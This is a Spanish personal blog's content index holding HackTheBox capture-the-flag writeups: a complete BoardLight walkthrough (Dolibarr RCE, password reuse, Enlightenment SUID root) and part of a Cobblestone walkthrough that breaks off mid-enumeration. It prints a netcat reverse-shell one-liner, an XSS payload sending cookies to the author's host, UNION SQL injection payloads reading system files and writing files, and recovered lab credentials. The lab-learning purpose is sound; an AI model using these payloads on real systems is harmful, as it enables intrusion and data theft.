[{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/cve/","section":"Tags","summary":"","title":"CVE","type":"tags"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/dolibarr/","section":"Tags","summary":"","title":"Dolibarr","type":"tags"},{"content":"Máquinas y challenges de dificultad fácil o equivalente.\n","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/easy/","section":"Tags","summary":"Máquinas y challenges de dificultad fácil o equivalente.\n","title":"Easy","type":"tags"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/enlightenment/","section":"Tags","summary":"","title":"Enlightenment","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~2h Datos Iniciales: 10.129.231.37 Enumeración inicial # Hacemos un escaneo de puertos, encontramos lo siguiente.\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ sudo nmap -sT -Pn -p- 10.129.231.37 # Encuentra 22,80 $ sudo nmap -sT -Pn -p22,80 -sVC 10.129.231.37 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA) | 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA) |_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP 22/tcp (OpenSSH 8.2p1): Algunas vulnerabilidades no relevantes 80/tcp (Apache httpd 2.4.41): Más vulnerabilidades, tampoco relevantes. Puerto 80, HTTP # Al entrar, nos encontramos con una página de presentación de BoardLight.\nBoardLight is a cybersecurity consulting firm specializing in providing cutting-edge security solutions to protect your business from cyber threats\nArriba aparecen varios botones que redirigen a páginas PHP:\nHome redirige a index.php About redirige a about.php What we do redirige a do.php Contact us redirige a contact.php El icono de una persona redirige a about.php Dicho esto, si analizamos cada uno de los archivos con BurpSuite y lo que se manda al solicitarlos, veremos que no hay nada interesante.\nEn contact.php parece haber un formulario, pero si miramos lo que se manda al servidor al enviarlo, no es ni una solicitud POST, simplemente es algo como GET /contact.php?=\u0026amp;=\u0026amp;=test\u0026amp;=, y no se hace nada con los datos que mandamos. Lo mismo para lo demás.\nSi miramos el código fuente, tampoco vemos nada. Ahora bien, debajo de todas las páginas del servidor hay un pie de página que indica © 2020 All Rights Reserved By Board.htb. Es posible que haya algún subdominio?\nAñadimos board.htb a /etc/hosts y buscamos subdominios.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ gobuster vhost --url http://board.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://board.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== crm.board.htb Status: 200 [Size: 6360] Y tenemos crm.board.htb, vamos a por él.\nSubdominio CRM # Primero, lo añadimos a /etc/hosts también, luego entramos. Nos encontramos esto. Es el panel de login de Dolibarr 17.0.0. Si buscamos más acerca de esto:\nDolibarr es un software integral de gestión empresarial que combina las funciones de un ERP (Planificación de Recursos Empresariales) y un CRM (Gestión de Relaciones con los Clientes). Es de código abierto (open source), gratuito y está diseñado principalmente para pymes, autónomos, emprendedores y asociaciones.\nSi buscamos vulnerabilidades de esta versión:\nCVE-2023-30253: Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation. Encontramos un PoC disponible. Lo usamos. Además, tras una búsqueda, veo que las credenciales por defecto son o admin:admin o admin:changeme.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ git clone https://github.com/Rubikcuv5/cve-2023-30253 $ cd cve-2023-30253 $ python3 -m venv venv \u0026amp;\u0026amp; source .venv/bin/activate $ pip install -r requirements.txt $ python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -r 10.10.16.82 4444 [+] By Rubikcuv5. [*] Url: http://crm.board.htb [*] User: admin [*] Password: admin [*] Reverseshell info: IP:10.10.16.82 PORT:4444 [*] Verifying accessibility of URL:http://crm.board.htb/admin/index.php [*] Attempting login to http://crm.board.htb/admin/index.php as admin [+] Login successfully! [*] Creating web site ... [+] Web site was create successfully! [*] Creating web page ... [+] Web page was create successfully! [↗] Trying to bind to :: on port 4444: Trying :: [*] Executing command rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2\u0026gt;\u0026amp;1|nc 10.10.16.82 4444 \u0026gt;/tmp/f ...[SNIP]... Desde el listener:\n1 2 3 4 5 6 7 8 9 $ penelope -i 10.10.16.82 [+] Listening for reverse shells on 10.10.16.82:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from boardlight~10.129.231.37-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 ───────────────────────────────────────────────────────────────────────────────────── www-data@boardlight:~/html/crm.board.htb/htdocs/website$ Privesc 1 # Somos www-data. Si miramos en /home y en /etc/hosts, encontraremos nuestro siguiente objetivo, larissa.\n1 2 3 4 5 6 7 www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ls /home/ larissa www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /etc/passwd | grep -v nologin | grep -v false root:x:0:0:root:/root:/bin/bash sync:x:4:65534:sync:/bin:/bin/sync larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash MySQL # Miramos puertos en local para ver si hay alguna base de datos, y efectivamente encontramos una en el puerto de MySQL/MariaDB:\n1 2 3 www-data@boardlight:~/html/crm.board.htb/htdocs/website$ netstat -tunlp | grep 127.0.0.1 tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - Si probamos a iniciar sin credenciales, fallará el login.\n1 2 3 4 5 6 www-data@boardlight:~/html/crm.board.htb$ mysql ERROR 1045 (28000): Access denied for user \u0026#39;www-data\u0026#39;@\u0026#39;localhost\u0026#39; (using password: NO) www-data@boardlight:~/html/crm.board.htb$ mysql -u root -p Enter password: ERROR 1698 (28000): Access denied for user \u0026#39;root\u0026#39;@\u0026#39;localhost\u0026#39; Así que tenemos que encontrar las credenciales que usa Dolibarr para conectarse. Si buscamos en Internet, encontraremos que se almacenan en un único archivo: /etc/dolibarr/conf.php o /var/www/html/[dominio_dolibarr]/htdocs/conf/conf.php.\nEn este caso, se trata de /var/www/html/crm.board.htb/htdocs/conf/conf.php:\n1 2 3 4 5 6 7 8 9 10 www-data@boardlight:~/html/crm.board.htb$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php | grep main_db $dolibarr_main_db_host=\u0026#39;localhost\u0026#39;; $dolibarr_main_db_port=\u0026#39;3306\u0026#39;; $dolibarr_main_db_name=\u0026#39;dolibarr\u0026#39;; $dolibarr_main_db_prefix=\u0026#39;llx_\u0026#39;; $dolibarr_main_db_user=\u0026#39;dolibarrowner\u0026#39;; $dolibarr_main_db_pass=\u0026#39;serverfun2$2023!!\u0026#39;; $dolibarr_main_db_type=\u0026#39;mysqli\u0026#39;; $dolibarr_main_db_character_set=\u0026#39;utf8\u0026#39;; $dolibarr_main_db_collation=\u0026#39;utf8_unicode_ci\u0026#39;; Y tenemos las credenciales dolibarrowner:serverfun2$2023!!.\n1 2 3 $ mysql -u \u0026#34;dolibarrowner\u0026#34; -p\u0026#34;serverfun2$2023!!\u0026#34; mysql: [Warning] Using a password on the command line interface can be insecure. ERROR 1045 (28000): Access denied for user \u0026#39;dolibarrowner\u0026#39;@\u0026#39;localhost\u0026#39; (using password: YES) Falla, es posible que sea porque normalmente para MySQL \u0026ldquo;localhost\u0026rdquo; no es lo mismo que \u0026ldquo;127.0.0.1\u0026rdquo;. Probamos con la segunda\n1 2 3 www-data@boardlight:~/html/crm.board.htb$ mysql -h 127.0.0.1 -u \u0026#34;dolibarrowner\u0026#34; -p\u0026#34;serverfun2$2023!!\u0026#34; mysql: [Warning] Using a password on the command line interface can be insecure. ERROR 1045 (28000): Access denied for user \u0026#39;dolibarrowner\u0026#39;@\u0026#39;localhost\u0026#39; (using password: YES) Tampoco nos deja. De todas formas, podemos simplemente probar a reutilizar la contraseña con el usuario larissa.\n1 2 3 www-data@boardlight:~/html/crm.board.htb$ su larissa Password: larissa@boardlight:/var/www/html/crm.board.htb$ Y ahí lo tenemos.\nPrivesc 2 # Una vez somos larissa, ejecutamos LinPEAS.\nPruebas iniciales # Ignorando vulnerabilidades de kernel recientes como CopyFail, DirtyFrag y similares, encontramos lo siguiente:\nID: uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm) CVE-2021-3156: Por versión de Sudo 1.8.31 (Baron Samedit) CVE-2022-0847: Vuln. de kernel (DirtyPipe) CVE-2022-0995: Vuln. de kernel (watch_queue) Probamos cualquiera de las 3 de abajo, y no funciona ninguna, así que echamos un ojo al grupo adm al que pertenecemos. Tras una búsqueda, veo que este grupo está para lo siguiente:\nIn Linux, the adm group is a system group primarily used to grant members read-only access to system log files in the /var/log directory (such as auth.log and syslog) without needing root or sudo privileges.\nEs decir, que podemos ver los registros del sistema. Esto puede ser útil si un usuario, como root, ha escrito sus credenciales en algún comando como argumento.\nSi miramos qué archivos podemos ver:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 larissa@boardlight:/tmp$ find / -group adm 2\u0026gt;/dev/null /var/log/mysql /var/log/mysql/error.log /var/log/unattended-upgrades /var/log/apache2 /var/log/apache2/error.log /var/log/kern.log.1 /var/log/auth.log /var/log/dmesg.0 /var/log/syslog.1 /var/log/kern.log /var/log/audit /var/log/audit/audit.log /var/log/audit/audit.log.3 /var/log/audit/audit.log.1 /var/log/audit/audit.log.2 /var/log/audit/audit.log.4 /var/log/auth.log.1 /var/log/syslog /var/log/dmesg /var/log/nginx /var/spool/rsyslog Al parecer, los útiles aquí son syslog y auth.log, pero si miramos dentro, no vemos ninguna contraseña ni nada. En el resto tampoco parece haber nada relevante.\nEnlightenment_sys # Si miramos los archivos con SUID Bit:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 larissa@boardlight:/tmp$ find / -perm -4000 2\u0026gt;/dev/null /usr/lib/eject/dmcrypt-get-device /usr/lib/xorg/Xorg.wrap /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/sbin/pppd /usr/bin/newgrp /usr/bin/mount /usr/bin/sudo /usr/bin/su /usr/bin/chfn /usr/bin/umount /usr/bin/gpasswd /usr/bin/passwd /usr/bin/fusermount /usr/bin/chsh /usr/bin/vmware-user-suid-wrapper Encontramos varios, pero si buscamos en Internet cuáles son relevantes, veremos que /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys puede permitirnos escalar privilegios fácilmente (CVE-2022-37706).\nEl binario utiliza de forma interna funciones del sistema para invocar el comando /bin/mount utilizando rutas introducidas por el usuario. Al no desinfectar correctamente los parámetros de entrada, un atacante puede manipular cadenas de texto y usar subcadenas como /dev/.. para inyectar comandos arbitrarios que el sistema ejecutará con los privilegios del dueño del binario (root).\nDescargamos y subimos a la máquina este exploit.\nLo ejecutamos y\u0026hellip;\n1 2 3 4 5 6 7 8 9 10 11 larissa@boardlight:/tmp$ chmod +x exploit.sh larissa@boardlight:/tmp$ ./exploit.sh CVE-2022-37706 [*] Trying to find the vulnerable SUID file... [*] This may take few seconds... [+] Vulnerable SUID binary found! [+] Trying to pop a root shell! [+] Enjoy the root shell :) mount: /dev/../tmp/: can\u0026#39;t find in /etc/fstab. # whoami root Tenemos root.\n","date":"11 de junio de 2026","externalUrl":null,"permalink":"/writeups/boardlight/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Enumeración de subdominios, Dolibarr RCE, Reutilización de contraseñas, Explotación de binario SUID, CVEs públicos.","title":"HackTheBox - BoardLight","type":"writeups"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/htb/","section":"Tags","summary":"","title":"HTB","type":"tags"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":" ","date":"11 de junio de 2026","externalUrl":null,"permalink":"/","section":"Nicolás Seral","summary":"","title":"Nicolás Seral","type":"page"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/password-reuse/","section":"Tags","summary":"","title":"Password Reuse","type":"tags"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/rce/","section":"Tags","summary":"","title":"RCE","type":"tags"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/subdominio/","section":"Tags","summary":"","title":"Subdominio","type":"tags"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/suid/","section":"Tags","summary":"","title":"SUID","type":"tags"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"11 de junio de 2026","externalUrl":null,"permalink":"/categories/writeups/","section":"Categories","summary":"","title":"Writeups","type":"categories"},{"content":"Este directorio contiene writeups de máquinas (principalmente HTB). No sólo con la solución final, sino con el proceso general: Errores cometidos y conceptos que tuve que aprender que eran desconocidos al momento de resolver la máquina.\n","date":"11 de junio de 2026","externalUrl":null,"permalink":"/writeups/","section":"Writeups","summary":"Este directorio contiene writeups de máquinas (principalmente HTB). No sólo con la solución final, sino con el proceso general: Errores cometidos y conceptos que tuve que aprender que eran desconocidos al momento de resolver la máquina.\n","title":"Writeups","type":"writeups"},{"content":"","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/apache/","section":"Tags","summary":"","title":"Apache","type":"tags"},{"content":"","date":"10 de junio de 2026","externalUrl":null,"permalink":"/tags/cobbler/","section":"Tags","summary":"","title":"Cobbler","type":"tags"},{"content":" Dificultad: insane Tiempo aprox. 15h (en 3 días) Datos Iniciales: 10.129.232.170 Enumeración # Puertos # Hacemos un escaneo de puertos, encontramos lo siguiente.\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ sudo nmap -sT -Pn -p- 10.129.232.170 # Indica puertos 22,80 $ sudo nmap -sT -Pn -p22,80 -sVC 10.129.232.170 # Indica redirect to http://cobblestone.htb/, lo añadimos a /etc/hosts $ sudo nmap -sT -Pn -p22,80 -sVC cobblestone.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA) |_ 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519) 80/tcp open http Apache httpd 2.4.62 |_http-title: Cobblestone - Official Website |_http-server-header: Apache/2.4.62 (Debian) Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel 22/tcp (OpenSSH 9.2p1): Vulnerable a RegreSSHion, no relevante en este caso. 80/tcp (httpd 2.4.62): Algunas vulnerabilidades, pero no relevantes, la mayoría afectan a SSL y a configuraciones muy específicas. Dominio principal # Al entrar a la página, encontramos una página en la que se anuncia un servidor de Minecraft. Los botones, de izquierda a derecha, llevan a los siguientes sitios:\nDeploy your own minecraft server: deploy.cobblestone.htb Download skins for your minecraft character: cobblestone.htb/skins.php Vote for your favorite Minecraft Server: vote.cobblestone.htb Además, debajo del todo, se menciona mc.cobblestone.htb, así que ya tenemos 3 subdominios. En esta página no parece haber mucho más. Para no ir ya a otro subdominio, primero vamos a Skin Database, que nos lleva a skins.php.\nSkins # Al pulsar, se nos redirige a un formulario de login (login.php) en el que podemos tanto iniciar sesión como registrarnos. Como no conocemos ningunas credenciales, creamos una cuenta. Una vez tenemos cuenta, iniciamos sesión y vamos a skins.php. Ahí encontramos las skins de 5 jugadores:\nTenemos 5 skins y la opción de descargarlas. El botón de descargas de la derecha nos lleva a http://cobblestone.htb/download.php?skin=/skins/[USUARIO].png\nTambién tenemos la opción de sugerir una skin para que se añada, mandando la solicitud a suggest_skin.php, incluyendo nuestro username, nombre de skin y enlace de descarga. Que se distinga entre \u0026ldquo;username\u0026rdquo; y \u0026ldquo;Name\u0026rdquo; indica que es posible que los nombres de las skins de antes no sean los de los jugadores que las añadieron: Si probamos a añadir una skin, poniendo Username: username, Skin Name: test, Download URL: http://10.10.16.82/image.png, y miramos nuestro servidor http:\n1 2 $ sudo python3 -m http.server -b 10.10.16.82 80 Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ... Al principio no llega nada, pero pasados unos segundos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ sudo python3 -m http.server -b 10.10.16.82 80 Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ... 10.129.232.170 - - [04/Jun/2026 12:26:09] code 404, message File not found 10.129.232.170 - - [04/Jun/2026 12:26:09] \u0026#34;GET /image.png HTTP/1.1\u0026#34; 404 - 10.129.232.170 - - [04/Jun/2026 12:26:09] code 404, message File not found 10.129.232.170 - - [04/Jun/2026 12:26:09] \u0026#34;GET /favicon.ico HTTP/1.1\u0026#34; 404 - 10.129.232.170 - - [04/Jun/2026 12:27:10] code 404, message File not found 10.129.232.170 - - [04/Jun/2026 12:27:10] \u0026#34;GET /image.png HTTP/1.1\u0026#34; 404 - 10.129.232.170 - - [04/Jun/2026 12:27:10] code 404, message File not found 10.129.232.170 - - [04/Jun/2026 12:27:10] \u0026#34;GET /favicon.ico HTTP/1.1\u0026#34; 404 - 10.129.232.170 - - [04/Jun/2026 12:28:09] code 404, message File not found 10.129.232.170 - - [04/Jun/2026 12:28:09] \u0026#34;GET /image.png HTTP/1.1\u0026#34; 404 - 10.129.232.170 - - [04/Jun/2026 12:28:10] code 404, message File not found 10.129.232.170 - - [04/Jun/2026 12:28:10] \u0026#34;GET /favicon.ico HTTP/1.1\u0026#34; 404 - Van llegando solicitudes cada cierto tiempo. Pasa exactamente un minuto entre una request y otra, así que es posible que haya un proceso encargado de solicitar las skins cada minuto. Además, se hacen 4 solicitudes y se para automáticamente, aunque no se haya conseguido la imagen.\nSi creamos una imagen image.png y añadimos la skin otra vez, veremos que se repiten las 4 solicitudes igualmente, aunque a la primera la página ya haya conseguido la imagen de la skin.\nXSS # Como en teoría cuando mandamos una skin un admin la revisa, podríamos intentar hacer XSS con el campo Username o Skin Name, por lo que mando lo siguiente:\n1 2 3 Username: \u0026lt;script\u0026gt;fetch(\u0026#39;http://10.10.16.82/?username=\u0026#39; + document.cookie)\u0026lt;/script\u0026gt; Skin Name: \u0026lt;script\u0026gt;fetch(\u0026#39;http://10.10.16.82/?skinname=\u0026#39; + document.cookie)\u0026lt;/script\u0026gt; URL: cualquier_cosa Pasado un rato, recibimos esto:\n1 2 3 4 5 6 $ sudo python3 -m http.server -b 10.10.16.82 80 Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ... 10.129.232.170 - - [04/Jun/2026 12:59:08] \u0026#34;GET /?username= HTTP/1.1\u0026#34; 200 - 10.129.232.170 - - [04/Jun/2026 12:59:08] \u0026#34;GET /?skinname= HTTP/1.1\u0026#34; 200 - 10.129.232.170 - - [04/Jun/2026 12:59:09] \u0026#34;GET /?username= HTTP/1.1\u0026#34; 200 - 10.129.232.170 - - [04/Jun/2026 12:59:09] \u0026#34;GET /?skinname= HTTP/1.1\u0026#34; 200 - Tenemos XSS en ambos campos, pero al parecer no nos ha llegado ninguna cookie. De todas formas, la única cookie que tenemos nosotros en nuestro navegador y para este dominio es PHPSESSID, y HttpOnly está a true para dicha cookie (no podemos conseguirla con XSS), así que difícilmente podremos conseguir algo mediante XSS.\nSubdominio deploy # Vamos a deploy.cobblestone.htb, encontramos esto. Aquí por lo menos encontramos algunos posibles usuarios del sistema: josh, sam, katrina y jeremy, así como las combinaciones que podamos hacer con sus nombres y apellidos.\nSubdominio vote # Nos encontramos un panel de login como el de antes. Probamos a iniciar con nuestras credenciales del dominio principal, pero no funcionan, así que es probable que se guarden en sitios diferentes.\nCreamos un usuario exactamente igual, al entrar encontramos un panel de votación. Si pulsamos Upvote en alguno, pone \u0026ldquo;Actual upvoting not yet implemented\u0026rdquo;.\nAquí también podemos sugerir y añadir servidores, poniendo simplemente una URL. UNION SQLi # Como un payload XSS no va a servir de mucho, pruebo directamente con uno SQLi, a ver qué pasa. Cuando mando 'UNION SELECT 1,2-- - veo lo siguiente:\nNo hay nada, y normalmente debería poner algo como esto: Para el UNION SQLi necesitamos conocer el número correcto de columnas del query. En la pestaña Vote podemos ver que al menos el mínimo son 2: URL y Votes. Pero si pasamos el ratón por encima de cualquier URL de los servidores, veremos que es una redirección a http://vote.cobblestone.htb/details.php?id=1, por lo que hay un ID también, lo que signfica que partimos de 3 columnas.\nMandamos payloads como los siguientes:\n1 2 \u0026#39; UNION SELECT 1,2,3-- - \u0026#39; UNION SELECT 1,2,3,4-- - Y tampoco pone nada, pero si mandamos este:\n1 \u0026#39; UNION SELECT 1,2,3,4,5-- - Veremos que la respuesta es esta. Además, el output que vemos es el de la cuarta columna.\nEnumeración inicial # El problema a la hora de enumerar en este caso es que solo se nos devuelve (en la columna 4) el valor de la primera fila, no el de todas, por lo que tendremos que ir sacando los valores para una columna específica uno a uno.\nMandamos algo como esto para ver en qué base de datos estamos (seleccionamos las bases de datos y filtramos las que sean del sistema.)\n1 \u0026#39; UNION SELECT 1,2,3,SCHEMA_NAME,5 FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME NOT IN (\u0026#39;information_schema\u0026#39;, \u0026#39;performance_schema\u0026#39;, \u0026#39;mysql\u0026#39;, \u0026#39;sys\u0026#39;)-- - Y recibimos: vote. Si quitamos vote también, se devuelve NULL, así que vote es la única base de datos.\nAhora vamos filtrando para encontrar información. Al final, sabemos que hay una DB \u0026ldquo;vote\u0026rdquo;, con tablas votes y users. En la tabla users, las columnas son id, Username, FirstName, LastName, Email, username y password.\nSi miramos qué usuarios hay, encontramos que el único registrado es admin (junto con el nuestro recién creado). Aprovechando el SQLi sacamos su hash.\n1 2 3 4 5 \u0026#39; UNION SELECT 1,2,3,password,5 FROM users-- - # Recibimos esto. Suggestion #1 - $2y$10$6XMWgf8RN6McVqmRyFIDb.6nNALRsA./u4HAF2GIBs3xgZXvZjv86 Approved: false Si probamos a crackearlo, veremos que el hash no aparece en ninguna wordlist, no podemos sacar nada de él, y posiblemente no merezca la pena probar a fuerza bruta.\nIntentando escribir # Podríamos probar a crear un archivo nuevo, como un webshell, mediante el SQLi, pero necesitamos saber si tenemos permisos de escritura en el sistema, y dónde escribirlo.\nDado que estamos en el subdominio vote y se usa Apache, es muy probable que la ubicación en el sistema sea /var/www/vote. No cuesta mucho saber si existe, podemos intentar leer el archivo index.php.\n1 \u0026#39; UNION SELECT 1,2,3,LOAD_FILE(\u0026#39;/var/www/vote/index.php\u0026#39;),5-- - Y recibimos esto. Así que el directorio existe. Intentamos escribir un archivo en /var/www/vote y otro en /tmp para ver si hay alguna diferencia en cuanto a permisos.\n1 2 \u0026#39; UNION SELECT 1,2,3,\u0026#34;testVOTE\u0026#34;,5 into outfile \u0026#34;/var/www/vote/test.txt\u0026#34;-- - \u0026#39; UNION SELECT 1,2,3,\u0026#34;testTMP\u0026#34;,5 into outfile \u0026#34;/tmp/test2.txt\u0026#34;-- - Al enviar cualquiera de los dos payload no se nos devuelve nada, pero podemos comprobar si se han creado los archivos intentando leerlos.\n1 2 \u0026#39; UNION SELECT 1,2,3,LOAD_FILE(\u0026#39;/var/www/vote/test.txt\u0026#39;),5-- - \u0026#39; UNION SELECT 1,2,3,LOAD_FILE(\u0026#39;/tmp/test2.txt\u0026#39;),5-- - Para el de /var/www/vote la respuesta está vacía, pero para el de /tmp sí vemos el output 1 2 3 testTMP 5. Esto significa que no tenemos permisos de escritura en el primero.\nPara encontrar en qué directorios podemos escribir, vamos a ver qué permisos FILE hay, y si secure_file_priv tiene algún valor específico. Mandamos los siguientes payload:\n1 2 3 4 5 # Usuario actual y privilegios FILE \u0026#39; UNION ALL SELECT 1,2,3,(SELECT GROUP_CONCAT(grantee,\u0026#39;~\u0026#39;,privilege_type,\u0026#39;~\u0026#39; SEPARATOR \u0026#39;~\u0026#39;) FROM information_schema.user_privileges),5-- - # Privilegios R/W globales \u0026#39; UNION SELECT 1,2,3,@@secure_file_priv,5-- - Obtenemos voteuser@localhost y FILE para el primero, y nada para el segundo, es decir, que no hay restricciones en el servidor para R/W. Como no hay restricciones a nivel de MariaDB, todas las limitaciones de R/W vienen del sistema de archivos, y eso no podemos mirarlo, así que tenemos que tirar por otro lado.\nMás enumeración # Miramos /etc/passwd.\n1 \u0026#39; UNION SELECT 1,2,3,LOAD_FILE(\u0026#39;/etc/passwd\u0026#39;),5-- - Encontramos dos usuarios relevantes con shell:\ncobble, con /bin/rbash john, con /bin/bash Buscamos la configuración de los sitios (subdominios) de Apache. Esta suele estar en /etc/apache2/sites-enabled (o sites-available).\n1 \u0026#39; UNION SELECT 1,2,3,LOAD_FILE(\u0026#39;/etc/apache2/sites-enabled/000-default.conf\u0026#39;),5-- - Encontramos lo siguiente:\nProxyPass hacia API de \u0026ldquo;Cobbler\u0026rdquo;: Apache actúa como proxy y redirige todo lo que llegue a http://cobblestone.htb/cobbler_api directamente al servicio de http://127.0.0.1:25151. Acabamos de encontrar un frente nuevo. Dominio principal: cobblestone.htb. Ubicado en /var/www/html Alias: Si visitamos /cobbler Apache mostrará lo que haya en /srv/www/cobbler. Tiene el indexado de archivos activo, por lo que podemos ver qué hay. Primer subdominio: deploy.cobblestone.htb. Ubicado en /var/www/deploy Segundo subdominio: vote.cobblestone.htb. Ubicado en /var/www/vote Si buscamos más acerca de Cobbler:\nCobbler es una herramienta de Linux diseñada para automatizar y masificar la instalación y despliegue de sistemas operativos a través de la red. Cobbler API es la interfaz que permite a administradores u otros programas controlar este sistema de manera remota. Para interactuar con ella se usa el protocolo XML-RPC (mandar comandos en XML a través de requests HTTP).\nSi buscamos archivos de configuración de Cobbler en sus sitios habituales o en /srv/www/cobbler, veremos que en todos los casos la respuesta está vacía (no se encuentran), así que no podemos sacar información de ahí. Además, si intentamos comunicarnos con el API de Cobbler, o da error 404 o nos redirige a cobblestone.htb. En este punto, no tengo ni idea de por qué es, quizás necesitamos acceder a Cobbler desde el propio servidor. De momento solo podemos buscar más información.\nMiramos el código fuente de vote.cobblestone.htb/index.php a ver si hay algo interesante.\n1 \u0026#39; UNION SELECT 1,2,3,LOAD_FILE(\u0026#39;/var/www/vote/index.php\u0026#39;),5-- - Nos encontramos con esto:\n1 2 3 4 5 6 7 8 9 \u0026lt;?php include(\u0026#39;db/connection.php\u0026#39;); include(\u0026#39;vendor/autoload.php\u0026#39;); session_start(); if (!isset($_SESSION[\u0026#39;id\u0026#39;]) || empty($_SESSION[\u0026#39;id\u0026#39;])) { header(\u0026#34;Location: login.php\u0026#34;); exit(); } ... Se incluye db/connection.php, posiblemente tenga credenciales de la DB?. Si lo miramos por SQLi:\n1 2 3 4 5 6 $dbserver = \u0026#34;localhost\u0026#34;; $username = \u0026#34;voteuser\u0026#34;; $password = \u0026#34;thaixu6eih0Iicho]irahvoh6aigh\u0026gt;ie\u0026#34;; $dbname = \u0026#34;vote\u0026#34;; $conn = new mysqli($dbserver, $username, $password, $dbname); Y tenemos unas credenciales. Podemos mirar también en cobblestone.htb/skins.php a ver qué hay.\n1 2 3 4 5 \u0026lt;?php include(\u0026#39;db/connection.php\u0026#39;); include(\u0026#39;vendor/autoload.php\u0026#39;); session_start(); También inicia con algo similar. Vamos a connection.php:\n1 2 3 4 5 6 $dbserver = \u0026#34;localhost\u0026#34;; $username = \u0026#34;dbuser\u0026#34;; $password = \u0026#34;aichooDeeYanaekungei9rogi0eMuo2o\u0026#34;; $dbname = \u0026#34;cobblestone\u0026#34;; $conn = new mysqli($dbserver, $username, $password, $dbname); Tras probar a iniciar sesión, estas contraseñas no nos llevan a ningún lado, así que no tenemos mucho.\nEncadenando vulns. # De momento tenemos lo siguiente:\nUna vulnerabilidad XSS en cobblestone.htb/suggest_skin.php Una vulnerabilidad SQLi que permite LFI en vote.cobblestone.htb/suggest.php Un servicio interno de Cobbler en 127.0.0.1:25151 Para acceder al servicio interno de Cobbler, en teoría podemos acceder al endpoint /cobbler en cobblestone.htb, pero si lo solicitamos, por alguna razón no funciona. 